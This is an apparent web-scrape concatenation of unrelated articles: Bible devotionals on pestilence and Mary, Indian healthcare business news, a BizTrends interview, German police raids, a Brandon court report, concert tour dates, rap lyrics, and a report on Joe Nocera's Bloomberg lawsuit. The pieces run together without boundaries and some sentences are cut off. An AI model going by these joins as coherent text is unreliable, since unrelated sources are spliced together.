Lord, yet they prophesy a lie in my name; that I might drive you out, and that you might perish, ye, and the prophets that prophesy unto you (Jeremiah 27:15). 4. Pestilence can be removed. Numbers 16:47-48 reads And Aaron took as Moses commanded and ran into the midst of the congregation; and behold, the plague was begun among the people: and he put on incense and made an atonement for the people. And he stood between the dead and the living; and the plague was stayed. God has a kind heart and really wants us to repent of our sins. When pestilence and plagues come, it is usually after He has given us many chances. God also can go from zero to one hundred on the angry scale depending on what has occurred. Read Numbers chapter 16 to find out why God caused the earth to open up and swallow Korah and his crew. Second Samuel 24:16 shows us where God stays His hand after He sent judgment. God sends pestilence after King David numbered the people. David knew that this was wrong and repented. God gave David a choice of three punishments. There could be seven years of famine, he could flee from his enemies for three months or three days of pestilence. David chose the pestilence. In verse fifteen, the Lord sent a pestilence upon Israel from the morning even to the time appointed: and there died about seventy thousand men. Let us continue in verse seventeen And when the angel stretched out his hand upon Jerusalem to destroy it, the Lord repented him of the evil, and said to the angel that destroyed the people, it is enough: stay now thine hand. God promises to deliver His people from pestilence. Read Psalms 91. Verse six says nor the pestilence that walked in darkness; nor for the destruction that wasted at noonday. This whole Psalms talks about how God will protect us. Keeping us from pestilence is a benefit of His goodness. What Lessons Can We Learn from Pestilences in the Bible? We learn that God does not want to send pestilence. Unfortunately, pestilence is effective in bringing people back to God. There is nothing worse than being sick. Some sicknesses can lead to death. You can recover from financial setbacks. You can recover from relational setbacks. Yes, all of these things take time. Sickness and disease will take your energy for a moment depending on the severity of the illness. From what I have read in the Bible about pestilence, it was quick and wiped people out quickly. If you remember Moses and the children of Israel, God sent different plagues and pestilence until the Pharoah let the people go. Only until someone in Pharoahs house died, did their release come. Some people are really stuck in their ways and hard in their hearts. The Bible says that obedience is better than sacrifice. What can we learn about pestilence in the Bible? We know that God has no problem in sending pestilence. We know that in many situations pestilence was swift and highly effective. Fortunately, we have an intercessor through Jesus Christ. I am thankful that we are alive during this time period after Christ. We can go to God in prayer to obtain grace and mercy in a time of need. If you feel that there is pestilence in the land, ask God to take it away. The Bible says, If my people, which are called by my name, shall humble themselves, and pray, and seek my face, and turn from their wicked ways; then will I hear from heaven, and will forgive their sin, and will heal their land.(2 Chronicles 7:14) I take God at His Word because He is not a man that He should lie nor a son of man that He should change His man. Will He speak and not act? Will He promise and not fulfill (Numbers 23:19)? Photo credit: GettyImages/miwa_in_oz Dr. Sandra Hamer Smith is a Christian and wife to Sylvester Smith. She has one stepson, Greg. Smith lives and resides in Memphis, Tennessee. The University of Memphis alumnae has been in education for about 20 years after receiving the call to teach. Dr. Smith primarily teaches language arts. Prior to education, she worked in local and national television news for 13 years including positions as an overnight news anchor, reporter, and assignments editor at two local network affiliate stations. Smith was also a freelance correspondent for BET news. Dr. Smith has freelanced for the Tri-State Defender newspaper and Contempora magazine. She is the author of the self-published novel GLORYTHE HAIR. Smith is also a playwright and poet. The Tennessee native is a member of Temple of Deliverance COGIC, Delta Sigma Theta Sorority Inc, Omicron Delta Kappa, The Golden Key International Honour Society, and Kappa Delta Pi. Why Did God Choose Mary? We can learn many facts about Mary from the message by the angel, and from her response to that message. But we can also understand why God chose Mary by looking at Old Testament prophecies and the history and circumstances surrounding her life at that time. God wove together every detailthe people, places, and timesto usher in His plan for redemption in Christ. But He still needed a willing vessel, a surrendered servant. In essence, God chose Mary because she was of the right lineage, she was from Nazareth, she was engaged to a man whose lineage set up a trip to Bethlehem, she was a virgin, and she was a young woman of good character. Fleshing out these insights fosters not only appreciation for Mary, but also Gods preparations for His Sons mission. What Were the Angels Words Concerning Mary? Gabrielone of Gods holy angels who stands in His presencewas entrusted to deliver important messages on Gods behalf. When Gabriel appeared to Mary, she was initially greatly troubled, but the angel shared a wonderful surprise. Gabriel told Mary she would conceive and bear a son (Luke 1:26-33), and the babys name would be Jesus, which means Savior, from the Hebrew root meaning the Lord is Salvation. Gabriel said this child, the Son of God, would reign in an eternal kingdom. He would fulfill the Davidic Covenant. Mary asked, How will this be, since I am a virgin? As a chaste virgin (v. 34), this was a natural question. The angel patiently explained the supernatural conception: the Holy Spirit would come upon her, or work within her, and the power of the Most High would overshadow or hover over her. According to Jewish customs at the time, young girls could enter betrothal as early as age 12. Christian historians suggest Mary was 15-16 years old when Jesus was born. To further help Mary understand the coming miracle, Gabriel shared good news about Marys barren relative, Elizabeth. She was carrying a son in her old agein her sixth month of pregnancy (Luke 1:5-25, 36). The angel asked Mary to trust Gods message about her own son, saying, No word from God will never fail. Photo credit: Getty Images/rudall30 Plus, Bill's Message of the Day, why former President Trump canceled his January 6th press conference. Learn more about your ad choices. Visit megaphone.fm/adchoices To expand Aragens geographical footprint in India Hyderabad-based Aragen Life Sciences has signed a definitive agreement to acquire Pune-based Intox. The acquisition will expand Aragens end-to-end integrated discovery and development platform for the pharmaceuticals, biotechnology, animal health and agrochemicals industries. It will enable Aragen to conduct safety assessment studies from a Good Laboratory Practice (GLP)-certified facility for submission to regulatory agencies such as the United States Food and Drug Administration (USFDA), the United States Environment Protection Agency (USEPA), the European Medicines Agency (EMA), and others globally. Intox is a reputed GLP certified pre-clinical contract research organization (CRO) with its test facilities in Pune. It has conducted more than 15,000 GLP studies for global clients which include large and mid-sized customers across pharmaceuticals, biopharmaceuticals, plant protection, nutraceuticals, and medical devices. The acquisition will also expand Aragens geographical footprint in India. Aragen currently has research and manufacturing facilities at Hyderabad, Bengaluru and Visakhapatnam in India and a biologics facility in California, USA. Sakra Rehabilitation is an advanced rehabilitation institution, providing prehab and rehab as an inpatient, outpatient, and home-based telerehabilitation Sakra World Hospital (JV of Secom and Toyota Tsusho, Japan), has launched a world-class Robotic-Assisted Neuro-Rehabilitation centre in Bengaluru, the first-ever in Karnataka. The new state-of-the-art centre was inaugurated in the presence of Dr CN Ashwath Narayan, Minister of Science & Technology Government of Karnataka, Akiko Sugita, Consul General of Japan in Bengaluru and actor Raghavendra Rajkumar from the Kannada Film industry. Sakra Rehabilitation is an advanced rehabilitation institution, providing prehab and rehab as an inpatient, outpatient, and home-based telerehabilitation. The dedicated rehab HDU unit has resident inpatients undergoing early intervention - starting within a few days of stroke or neurosurgery. Unique technological implications facilitate a comprehensive approach emphasising Japanese safety processes for infection control while ensuring safety from potential patient falls. The robots established at the new robotic neuro-rehabilitation centre are: Margins expected to improve by 300-400bps The Indian diagnostics industry witnessed healthy revenue growth in FY2021 with COVID-19 related tests contributing to ~20-25per cent revenues, in turn supporting profit margins. During H1 FY2022, ICRAs sample set witnessed volume growth of 74 per cent aided by a low base and spike in COVID-19 and allied tests in the second wave. This was in line with the active cases in India that touched an all-time high in May 2021, peaking at more than 4x the first wave peak. Despite regulated pricing on COVID-19 tests, a better volume mix led to improved realisation in H1 FY2022. Overall, the revenues of the sample set grew by 55 per cent Y-o-Y in H1 FY2022; this is expected to moderate in H2 FY2022 on account of the festive season and relatively lower pent-up demand. Says Mythri Macherla, Assistant Vice President and Sector Head, ICRA, We expect revenue growth of its sample set to be 20-25 per cent in FY2022. In line with sequential improvement expected in non-Covid revenues and consolidation of regional chains, revenue growth is estimated at ~8-10 per cent in FY2023. Recent trends such as a focus on digital brand building, improved offerings in bundled medical packages, changing consumer mindset towards organised players are likely to support demand traction for national diagnostic chains going forward. The operating profitability margins (OPM) of the sample set improved to 32 per cent in H1 FY2022 (as compared to 23 per cent in H1 FY2021 and 30 per cent in Q4 FY2021) given a lower base, operating leverage benefits from increased realisations and stabilised raw material prices. ICRA expects the OPM levels to improve sharply to 30-32 per cent in FY2022 (as against 27.2 per cent in FY2021). The same is expected to stabilize in the range of ~29-30 per cent during FY2023 due to the sectors focus on volume growth against the prevailing pricing pressures. AddsMacherla, With pricing pressures weighing in on the organized players, realization and EBIDTA levels are expected to stabilise going forward. That said, the shift of customer demand from unorganised to organised chains and the increasing trend of home collections shall positively impact the volume mix and support realisations. Geographical diversification by way of acquisition of regional and smaller diagnostic chains shall result in consolidation and generate synergy benefits in the medium term. Expansion of lab and collection centre network via franchisee model will aid asset-light growth prospects. With news around the Omicron variant, testing is expected to increase in December 2021 due to travel norms in certain states. That said, increasing pace of vaccinations could mitigate the spread of the new variant and reduce the level of COVID-19 related tests in the medium term. In her BizTrends2022 session, Moky Makura, former deputy communications director for Africa at the Bill and Melinda Gates Foundation, TedX speaker, current founder and executive director of the narrative change organisation, Africa No Filter, will predict future trends in media consumption habits, based on research and case studies into global and Africa media and her experience around the power of storytelling. Can you share a bit about what audiences can expect from your presentation You are the executive director of No Filter, a donor collaborative focused on shifting the African narrative. What was the inspiration / motivation behind Africa No Filter? How have you seen the African narrative change or not change since you worked at the Bill and Melinda Gates Foundation and starting Africa No Filter? Are there any key lessons youve learnt along the way? What is your favourite/least favourite social media platform, especially in terms of spreading the African narrative? What media, literature, music, movies, cultural references etc do you go to on a regular basis? About BizTrends2022: The go-to source for South African, Pan-Africa and global business trends each year, comprising some of Bizcommunitys most-read content annually. Now in its 17th year, a highlight of the business calendar, featuring contributor opinions from 100s of South Africas most influential trendspotters, forecasters and analysts across 19 industries. Get in touch to come on board for BizTrends sponsorship in your industry or category or as BizTrends Event sponsor at Visit BizTrends Special Section Event: BizTrends2022 Date: Wednesday, 02 February 2022 Time: 13h30 17h30 with tea break Location: Virtual Price: R150 per head; 25% discount for bookings of five or more. Students are free. Register now Alternatively mail : The go-to source for South African, Pan-Africa and global business trends each year, comprising some of Bizcommunitys most-read content annually. Now in its 17th year, a highlight of the business calendar, featuring contributor opinions from 100s of South Africas most influential trendspotters, forecasters and analysts across 19 industries.Get in touch to come on board for BizTrends sponsorship in your industry or category or as BizTrends Event sponsor at moc.ytinummoczib@selas : BizTrends2022: Wednesday, 02 February 2022: 13h30 17h30 with tea break: Virtual: R150 per head; 25% discount for bookings of five or more. Students are free.Alternatively mail moc.ytinummoczib@pvsr for more information. Speaking at the virtual conference, scheduled to take place on 2 February 2022, Moky Makura will share a taster of what delegates can expect from her executive trend presentation on how storytelling creates new opportunities for better engagement with audiences at BizTrends 02.02.2022Im excited to be speaking about the power of storytelling especially when it comes to how brands can apply it to get better engagement. We are seeing a trend in the type of content that consumers are looking to consume on digital platforms. Traditional publishers are still focused on business and hard news and sports, which are important, but were seeing that more engagement with softer stories; the people stories that really identify the commonalities that we all have.For many years stories about the continent have been written with specific frames that are negative and not terribly reflective of a progressive and contemporary continent. Many stories are written through the lens of poverty, corruption, conflict poor leadership and disease - and these frames result in narratives about a continent that is broken and dependent and inhabitants that lack agency.Narratives matter because they inform perceptions and influence behaviour.These stereotypical narratives have an impact - on investment into the continent, on migration out of the continent ,on relationships between countries in Africa, and on many other things. Thats why Africa No Filter exists.Africa No Filter was created when a group of US and UK funders came together led by the Ford Foundation. As the first executive director it is my job to turn the vision and mission of No Filter into a reality.We are the one organisation set up to build a community around this shared mission of decolonising narratives about Africa.There are pockets of progress. Currently, we are seeing how the African story is increasingly being shaped by pop culture - our music, films, sportsmen, and entrepreneurs.The narrative is changing from Africa is not only the place of conflict and poverty, its also where cool music is created. But underlying this progress there are still racist and colonial undercurrents, and we can still see stark examples of where old narrative and attitudes about Africa continue. We can see it in the storytelling around civic generally and specifically.Take Omnicom, the new variant which is being touted as a variant from Africa. It led to travel bans. This is just one recent example of how a colonial and superior attitude to Africa informs behaviours and policy. So there is still a lot of work to do to support and create stories that counter the current narratives.I have learned that its up to us as Africans to represent the continent we see. But its also important to celebrate and find ways to continue to tell our stories in a way that reflects a progressive continent.Ive chosen Twitter as my favourite platform largely because it forces you to be concise and precise.Podcasts are my default platform for cultural content. I listen to podcasts focused on storytelling. I love finding gems, especially audio documentaries or stories that inform and educate as well as entertain. Its scary how much there is out there. But Im also now creating my own podcast to add to what is already out there. Hot 102.7FM presenter Bunny Majaja took to the skies on Sunday, 12 December with her wingman Buddy Bear, the Hot Cares mascot, all in the name of "highlighting" the Hot Cares charity. Majaja was challenged live on air during the highly successful 2021 Teddython by Stephen Gleisner, MD of The Courier Guy and sponsor of Joburgs Hottest Breakfast on Hot 102.7FM to take to the skies with her wingman Buddy Bear in an old skool acrobatic plane and pull 5Gs in exchange for 250Gs (R250,000) to the Hot Cares charity.The challenge was accepted by Bunny and the R250,000 was locked in for the charity.Over the past few weeks, members of Joburgs Hottest Breakfast show, Tony Murrell and Simon Hill were challenged by Westpack Lifestyle and Papachinos family restaurant to take on various stunts to raise money for Hot Cares.Tony Murrell tandem skydived with Buddy Bear and Simon Hill was sent racing around Redstar Raceway, while trying to finish a Buddy Burger in record time (in a pink tutu).Bunnys stunt would be the most ambitious and most rewarding for the charity. Due to the dangerous nature of the stunt, all precautions were taken and Bunny teamed up with ace acrobatic pilot, Arnie Menenghelli from Hired Gun Aviation at Rand Airport. Menenghellis G-Force meter in his Harvard Aircraft measured 5Gs as Bunny and Buddy went into a loop with a few rolls, followed by a Cuban 8.Returning to the airfield, Bunny was on a high and said: I cant wait to go up again. This was the most incredible experience. Majaja said she was also looking forward to next years Teddython stunt.The Hot Cares Teddython has raised over R7.4m and continues to make a meaningful difference in the lives of those around us. BERLIN (AP) Police in eastern Germany carried out raids Wednesday in an investigation of alleged threats to kill a state governor and others by opponents of coronavirus restrictions and vaccinations. They said they found weapons including crossbows, but it wasn't clear whether they were usable. A police car is seen in the Pieschen district during a raid after threats against Saxony's Prime Minister Kretschmer, in Dresden, Germany, early Wednesday, Dec. 15, 2021. Police in eastern Germany are carried out raids in an investigation of alleged threats to kill a state governor and others by opponents of coronavirus restrictions and vaccinations. They said that five properties in Dresden and one in a nearby town were being searched on Wednesday in an investigation of suspected preparations for a serious act of violence. (Robert Michael/dpa via AP) BERLIN (AP) Police in eastern Germany carried out raids Wednesday in an investigation of alleged threats to kill a state governor and others by opponents of coronavirus restrictions and vaccinations. They said they found weapons including crossbows, but it wasn't clear whether they were usable. Five properties in Dresden and one in the nearby town of Heidenau were searched in an investigation of suspected preparations for a serious act of violence, police said. The investigation was triggered by a report last week on ZDF television that a group on messenger service Telegram discussed plans to kill Saxony's state governor, Michael Kretschmer, and other members of the state government. Dresden is the capital of Saxony, which has seen frequent protests against coronavirus policy and has Germany's lowest vaccination rate. According to the report, the group's 103 members shared a rejection of vaccinations, the state and the current coronavirus policy. It featured audio messages in which people urged opposing policy measures with armed force if necessary, directed against Kretschmer and others. Police have said that comments by some members on their alleged possession of weapons and crossbows are part of the investigation. Tom Bernhardt, a spokesman for Saxony's state criminal police office, said that six members of the Telegram group are under investigation five men and one woman, all German citizens, ages 32 to 64. He said that police found crossbows, parts of weapons, and weapons; whether these are capable of firing or are so-called live weapons at all, we will see in the course of the investigation. A police officer stands in front of a house in the Pieschen district during a raid after threats against Saxony's Prime Minister Kretschmer, in Dresden, Germany, early Wednesday, Dec. 15, 2021. Police in eastern Germany are carried out raids in an investigation of alleged threats to kill a state governor and others by opponents of coronavirus restrictions and vaccinations. They said that five properties in Dresden and one in a nearby town were being searched on Wednesday in an investigation of suspected preparations for a serious act of violence. (Robert Michael/dpa via AP) Kretschmer said that threats against officials, scientists and journalists are unacceptable, will not be tolerated and will be pursued with all our strength. Coronavirus restrictions and the prospect of a likely vaccine mandate for all early next year have fueled recent protests in Germany. Security agencies have warned that parts of the Querdenken movement, a loose collection of groups opposed to the pandemic restrictions, are becoming increasingly radicalized. New Chancellor Olaf Scholz said in a speech to parliament Wednesday that we won't put up with a tiny minority of uninhibited extremists trying to impose its will on the whole of our society. ___ Follow APs pandemic coverage at https://apnews.com/hub/coronavirus-pandemic A man who pleaded guilty to stealing bikes and bear spraying someone downtown was sentenced to nearly a year in jail Monday afternoon. Advertisement Advertise With Us MATT GOERZEN/THE BRANDON SUN FILE The Brandon courthouse. A man who pleaded guilty to stealing bikes and bear spraying someone downtown was sentenced to nearly a year in jail Monday afternoon. Darius Elk, 23, pleaded guilty to a swath of charges from the spring and told the court the charges stemmed from an addiction to methamphetamine. The charges started on March 25 when at approximately 9:50 p.m., Elk used a pair of blue bolt cutters to cut through the chain-link fence at the Brandon Regional Health Centres bike compound, said Crown attorney Andrew Sieklicki. He walked through the hole and cut the lock on an electric bike inside to steal it, Sieklicki told the court. The bike was valued at $1,343.99. Elk was identified a few days later at a pedestrian stop. Sieklicki said he had the same pair of bolt cutters on him when he was arrested. Then, on April 15, police received a complaint a man was bear sprayed in the 800 block of Rosser Avenue in the middle of the afternoon, the Crown said. Police found the victims, who needed treatment at the hospital in the aftermath. One of the victims told police he was downtown buying cigarettes with his father when he walked by a group of people at the corner of Rosser Avenue and Eighth Street. The victim had an odd suspicion they were being followed, Sieklicki said, and noticed a man behind them. One of the men Elk caught up with them and said "watch where youre walking" before a brief exchange between them. Elk then pulled a can of bear spray from his jacket and sprayed both men, he said. On April 29, Sieklicki said, the accused stole a second bike from a bicycle compound at Brandon University. The green mountain bike was worth approximately $250. Police found Elk a few days later, Sieklicki said, and he said he had already sold the bike. Elk also pleaded guilty to breaching release conditions on several occasions by not living where he was supposed to. Sieklicki suggested a sentence of 321 days time served in jail followed by two years of supervised probation. While Sieklicki said the recommendation is at the low end, Elk deserves credit for the time he has spent in jail and for pleading guilty. Defence lawyer Bob Harrison said Elk has an addiction to methamphetamine and he knows its an issue. "Nobody has good judgment when theyre on crystal meth or any type of addiction its very addictive and certainly played a huge role in everybody who uses it," he said, adding Elk wants to get into long-term addiction treatment. Elk also has a variety of Gladue factors and had a difficult upbringing, Harrison told the court. Speaking to the court, Elk said he realizes he has an issue with meth and is seeking treatment. He said he knows his behaviour was wrong and wouldnt have acted in that way if he was sober. Judge Patrick Sullivan said there were many concerning elements to the charges, but the randomness of the bear spraying is "frightening." "To experience the possible threat of an unprovoked attack with bear mace is almost impossible to comprehend and the only explanation there can be for it, and the one I accept, is that you were in the grips of a serious meth addiction," Sullivan said to Elk. Sullivan told Elk his future will be squandered if he continues using meth. He sentenced him to 321 days time served in jail, which Sullivan described as a "light" sentence. He also put Elk on two years of supervised probation. dmay@brandonsun.com Twitter: @DrewMay_ The Brandon Chamber of Commerce is selling tickets for its historic event coming up next month. Advertisement Advertise With Us The Brandon Chamber of Commerce is selling tickets for its historic event coming up next month. Premier Heather Stefanson will be on hand Jan. 20 to deliver the first state of the province address the city has seen since 2019. Early bird tickets to see Stefanson speak are $35 per person for chamber members until Jan. 12 at 11:30 a.m., after which the price increases to $40 per person. Tickets are $50 for non-members. To book tickets call 204-571-5340 or email events@brandonchamber.ca. The Brandon Sun Casting Crowns - Healer Tour | Merge PR / Casting Crowns NASHVILLE, Tenn. GRAMMY winning multi-platinum group Casting Crowns has announced plans for the 24-city Healer Tour set to hit major arenas and venues this coming spring. Presented by Compassion International, the tour gets underway Feb. 17, following the January release of the bands brand new album, Healer (Jan. 14). The Healer Tour will feature special guests We Are Messengers and Jonathan Traylor, and will make stops in cities like Baltimore, Grand Rapids, Tulsa, Nashville, Cleveland and Milwaukee, to name just a few. Tickets for The Healer Tour will go on sale Friday, Dec. 17, at 10 a.m. local time, following a special fan presale Dec. 15-16. Ticket information can be found at CastingCrowns.com. Ticket buyers may also purchase an add-on ticket called Casting Crowns Pre-Show Experience, which will include a pre-show Q&A with the band, a souvenir laminate, an autographed photo and an exclusive merch piece. These limited add-on tickets will be available while supplies last. CASTING CROWNS - THE HEALER TOUR SPRING 2022 Dates and venues subject to change without notice. February 17 Baltimore, MD Chesapeake Employers Insurance Arena 18 Wallingford, CT Toyota Oakdale Theatre 19 Salisbury, MD Wicomico Youth & Civic Center 20 North Charleston, SC North Charleston PAC 24 Huntsville, AL Von Braun Civic Center 25 Alexandria, LA Rapides Parish Coliseum (*on sale Dec 20) 26 Meridian, MS Temple Theater for the Performing Arts March 3 Pompano Beach, FL Pompano Beach Amphitheatre 4 Gainesville, FL Exactech Arena 5 Sarasota, FL Robarts Arena 8 Columbia, SC Township Auditorium 10 Salem, VA Salem Civic Center 11 Columbus, GA Columbus Civic Center 12 Johnson City, TN Freedom Hall 17 Pikeville, KY Appalachian Wireless Arena 18 Getzville, NY The Chapel at CrossPoint 19 Grand Rapids, MI Van Andel Arena 24 North Little Rock, AR Simmons Bank Arena 25 Tulsa, OK Mabee Center 26 Peoria, IL Peoria Civic Center 27 Nashville, TN Grand Ole Opry House 31 Cleveland, OH Playhouse Square April 1 Milwaukee, WI Wisconsin Lutheran College (*on sale now) 2 Corbin, KY The Corbin Arena Trip Lee - 'Supernatural' single cover artwork | Jackie O & Co. LLC Rapper, pastor, husband, father, and 116 Clique founding member, TRIP LEE, is back with another single, "Supernatural!" "This song, Supernatural, is about some of the things I wish were different in our world. Some of them are big and important and others are lighthearted but all of them represent exactly how I felt when I wrote it," shares Trip. "We've all been through A LOT in the past few years. And when we look at how messed up our world is, it's clear that we can't fix everything on our own. Some things are just too big and out of our control. If it's gonna change, we need supernatural help! But, if we just call on God, nothing is too big for him." He makes his return with a renewed mission, "My goal is still to help people to see themselves in the image of God, so they can become a reflection of his greatness," he shares. "I'm not giving my artistic expressions more room to be authentic than in my faith. Where I am weak, that is where the Lord's strength is best seen, and I'm relying on his strength to guide me as I make my return." After his 2016 album, The Waiting Room, the Dallas bred and based artist gave more attention to pastoring. "I felt called to the pulpit because I love the way pastors walk beside people and help them grow. But because of my health, I realize I need to make an impact differently and in this season its through music. Trip Lee's storied career began over a decade ago after a chance meeting with Lecrae and Tedashii at a show. When they met, he was already rhyming, starting at the early age of 12, when released his first mix tape. A mutual friend introduced him to Lecrae and Tedashii, and their friendship developed. Trip Lee signed to Reach Records at 17 and released his debut album, If Only They Knew, two days after his high school graduation. Since his signing, he has released five additional albums: 20/20 (2008), Between Two Worlds (2010), The Good Life (2012), Rise (2014), which debuted at #2 on the Billboard Rap Chart and at #16 on the Billboard Top 200 Chart, and Waiting Room (2016). Click here to stream and watch. Follow Trip Lee on socials @TripLee116 Super Natural Lyrics I wish that forbidden fruit was bitter I wish we all would get banned from twitter I wish hip hop didnt root for killers I wish police didnt shoot to kill us I wish that I could dance like thriller I wish everybody knew my God, the healer, the cancer killer Wish I could switch Dr Pepper for liquor, protect some livers Wish my dogs was safe from pressures they face Wish our world wasnt programmed to see thug on my face Wish I knew itd be better for my kids so they wouldnt grow up with violence Wish our leaders was qualified to get more than dollar signs Hook If I have to we can skip the hassle Show you what them facts do They say he a natural But we need supernatural, we need supernatural The way he acts do it seem so supernatural Verse 2 I know some churches are filled with villains Living for them dollar bills they stealing I wish youd see all the men and women really living by what his wills revealing I wish nobody was tricked into thinking Jesus is what republicans be feeling Im glad hes coming again, revealing that sins the villain I wish I prayed more often while surviving this cave Im tossed in I know he listening, you can tell by what it cost him And if he turns on my mic And tunes into these sound bites I hope my prayers sound right My soul just might sound like Hook If I have to we can skip the hassle Show you what them facts do They say he a natural But we need supernatural, we need supernatural The way he acts do it seem so supernatural Follow connect with Trip Lee! Twitter - https://twitter.com/TripLee Instagram - https://www.instagram.com/triplee116/ Facebook - https://www.facebook.com/TripLee When he first encountered Herschkopf, Nocera was a columnist for the New York Times with a remarkable gift for explaining business issues to a general audience, according to Bill Keller, the former executive editor of the Times who had brought Nocera to the paper five years earlier after a decade at Fortune magazine. Joe Nocera at the 2020 iHeartRadio Podcast Awards in California. Credit:JC Olivera/Getty Images Nocera came to realise that Markowitz, whom he assumed was Herschkopfs groundskeeper, was actually the owner of the house and that Herschkopf was Markowitzs therapist who had taken up residence in the Hamptons home as part of a highly unconventional treatment plan. Markowitz would later allege that the psychiatrist had insinuated his way into his life over three decades, persuading him to break away from friends and relatives, taking control of his business affairs and even throwing parties at Markowitzs home. Herschkopf, who disputes the allegations, lost his license to practice medicine in New York in April after a state health department panel found he had committed several professional violations. Nocera spent part of the next two years untangling the complex and troubling relationship and eventually pitched a story to the Times magazine. It was a thorny narrative, and Nocera was himself a character in it. His lengthy draft was submitted to a drawn-out editing process in 2013, but ultimately, just as the piece was nearing publication, Times editors decided they just couldnt make it work and gave Nocera a kill fee. It was an ambitious personal story full of weird stuff, but a lot of great magazine stories are like that. I just wasnt in the position where I could go to bat for it, said Hugo Lindgren, editor of the magazine at the time, who left the Times a couple months later. But Nocera never forgot the story. Years later, after he also left the Times and joined Bloomberg Opinion as a columnist, his adult son called him one day with the idea of turning his failed magazine story into a podcast. Nocera met with the Academy Award-winning documentary filmmaker Alex Gibney, who was intrigued by the story and wanted to turn it into a podcast about the incredible power to persuade, Gibney said. Gibneys recollection is that Noceras ties to Bloomberg precluded him pursuing a partnership outside the company. Around the same time, Bloomberg News entered into discussions with podcast publisher Wondery about potential subjects to pursue together. Bloomberg presented Wondery with a number of ideas, but Noceras was the most compelling. From day one talking to Joe and seeing the material he had from Marty, I knew it would be a great podcast, recalled Marshall Lewy, Wonderys chief content officer. Lewy said that the project worked because Markowitz had saved photos, manuscripts, letters and receipts that documented the strange nature of their relationship. Thats the only reason we could tell it, because there was enough evidence. Loading Bloomberg would not discuss Noceras specific claims. But people familiar with Noceras work there have noted how the company supported the writer in producing the podcast giving him time off from his twice-a-week columns, an editor to oversee the process and a fact-checker to confirm the most sensitive details even though podcasts, and the tale this one in particular told, were both far outside Bloombergs chief concern of providing up-to-the-minute business news and data for a core audience of investors and financial professionals. But it paid off: after it was released in May 2019, the initial 10-episode podcast quickly became a hit and was streamed more than any other new podcast on Apple Podcasts in 2019, eventually accruing nearly 35 million downloads. Yet despite the podcasts success, Nocera had already encountered difficulty elsewhere in his career at Bloomberg after having to make high-profile corrections to several of his columns. And not long after the podcast started airing, Nocera wrote two columns that contributed to his downfall at the company. The subject was a little-known biotechnology company called MiMedx that had become the focus of a short-selling campaign by Marc Cohodes, known in financial circles for his highly aggressive strategies of trying to drive down companies stock prices. In August 2019, Nocera wrote two columns one of which was later appended with a correction criticising Cohodes for continuing to publicly attack MiMedx even after its stock had tanked and the company had ousted its chief executive in an attempt to clean house. Nocera wrote that Cohodes had gone too far. But his language in promoting his column on social media was far stronger: The real fraud is the short-selling campaign, he tweeted. A Bloomberg lawyer warned the columnist to tone down his rhetoric, according to a person familiar with the exchange. Nocera issued another tweet stating that he should have called the matter a tragedy instead of fraud. But an incensed Cohodes attacked Nocera repeatedly on Twitter, sometimes in personal and vulgar terms, and issued complaints to David Shipley that seemed to hint at potential litigation. (Cohodes said he does not plan to sue.) Nocera had been warned by the companys legal team not respond to Cohodes. But when the former chief executive of MiMedx was found guilty of fraud late last year, Cohodes and others began needling Nocera to retract his old columns. Then, in September, when a key MiMedx product failed clinical trials, Cohodes and others demanded more apologies and retractions from Nocera. And Nocera couldnt help himself. What follows is a response to those insisting that I apologise for my 2019 columns about Marc Cohodes assault on [MiMedx] he wrote on Twitter September 14, at the start of a lengthy thread. I have nothing to apologise for. I know its pointless to get into a Twitter battle with critics, I think its important to set the record straight. He concluded with a jab at Cohodes for continuing to press the issue: What was the point...? Hed won the war. Hed made money... If he couldnt root for [MiMedx] to succeed, why couldnt he at least walk away? Not long after, Shipley called Nocera and fired him, according to two people familiar with the conversation. After that, Nocera hired a lawyer who inquired with a Bloomberg lawyer about the money Nocera said the company owed him for The Shrink Next Door. Noceras lawsuit targets the proceeds from a 2019 deal that Bloomberg and Wondery struck with MRC Studios, the company that adapted the podcast into a television show. Under the agreement, Bloomberg and Wondery agreed to split any revenue generated from MRC on a 50-50 basis, according to the lawsuit. Bloomberg and Nocera in turn agreed to split all revenue (other than service related fees) earned by Bloomberg in connection with the exploitation of the [podcast] by third parties... according to a contract referred to in the lawsuit that was reviewed by The Washington Post; it states that Nocera would receive 100 per cent of Bloombergs half of the initial option price for the series, which amounted to $US125,000 ($176,000). But according to his lawsuit, when Nocera inquired with the company about his earnings from the deal after he was fired, he was told that Bloombergs stance was that journalists were not entitled to a share of advertising revenue generated by an adaptation and that none would be included in his agreement. Noceras lawsuit alleges that this flies in the face of the all revenue language in the contract. Hes also asking for an accounting of all the money that Bloomberg has earned from The Shrink Next Door. According to the complaint, Bloomberg acknowledged that MRC owed Nocera $322,500 but that the bulk of that money had been paid out and the outstanding balance of what Nocera would get was $35,000. Bloomberg said it would pay Nocera that money when it received it from MRC. Nocera claims he is owed much more. Jayaram, his attorney, said that Nocera would be suing even if he were still employed by Bloomberg: Hed be enforcing his rights under either circumstance. The cast of The Shrink Next Door with Marty Markowitz (centre), whom the show is based on. Credit:AP Days after Nocera lost his job, Bloomberg Opinion published a letter to the editor from Cohodes in which the investor essentially took a victory lap, denouncing several of Noceras claims and praising himself for exposing MiMedx. A stunned Nocera took personal offence. Throughout two years of constant attacks from Cohodes, you were unwilling to do anything to defend my journalism, he wrote to Shipley. But it now appears that his bullying has caused Bloomberg Opinion to allow him to further besmirch me ... At the very least, you should have allowed me to respond to his letter. Shipley declined. Please know that I wish you every happiness and success going forward, he concluded. A little more than a month later, The Shrink Next Door would debut on Apple TV to mixed reviews, some of them musing that the TV series could do little to improve upon Noceras epic podcast. Loading Nocera, who has since inked a contract to make podcasts for British publisher Blanchard House, was there for the red-carpet premiere, mingling alongside Rudd, Ferrell, Kathryn Hahn, Casey Wilson and the other actors at New Yorks Morgan Library & Museum. The stars lavished particular attention on one VIP guest Marty Markowitz himself. But in an interview with The Washington Post, Markowitz turned the spotlight back to the writer he met in his yard a decade ago. This story would never have seen the light of day without Joe Nocera, he said. Theres no question about that. Additional reporting by Alice Crites. One clinic delayed scheduled booster shots at a local aged care facility amid a tenfold rise in demand that had occurred almost overnight. Umair Masood, a GP in Gisborne, north-west of Melbourne, said he threw out 240 expired Pfizer doses on Tuesday after desperately trying to offload them to nearby medical clinics. They were all throwing out doses as well because there just hasnt been the demand, Dr Masood said. You feel really horrible because we all realise how dire the situation is all over the world. These are life-saving vaccines that are being put in the bin. Everybody is distressed by it. Dr Masood said there had been very slow uptake in booster shots until ATAGI altered its advice. GPs were given no notice of this change and many like Dr Masood were now trying to quickly order more vials, to give booster doses to their patients in coming weeks. Gisborne GP Umair Masood said until the guidelines changed, there was a slow uptake of booster 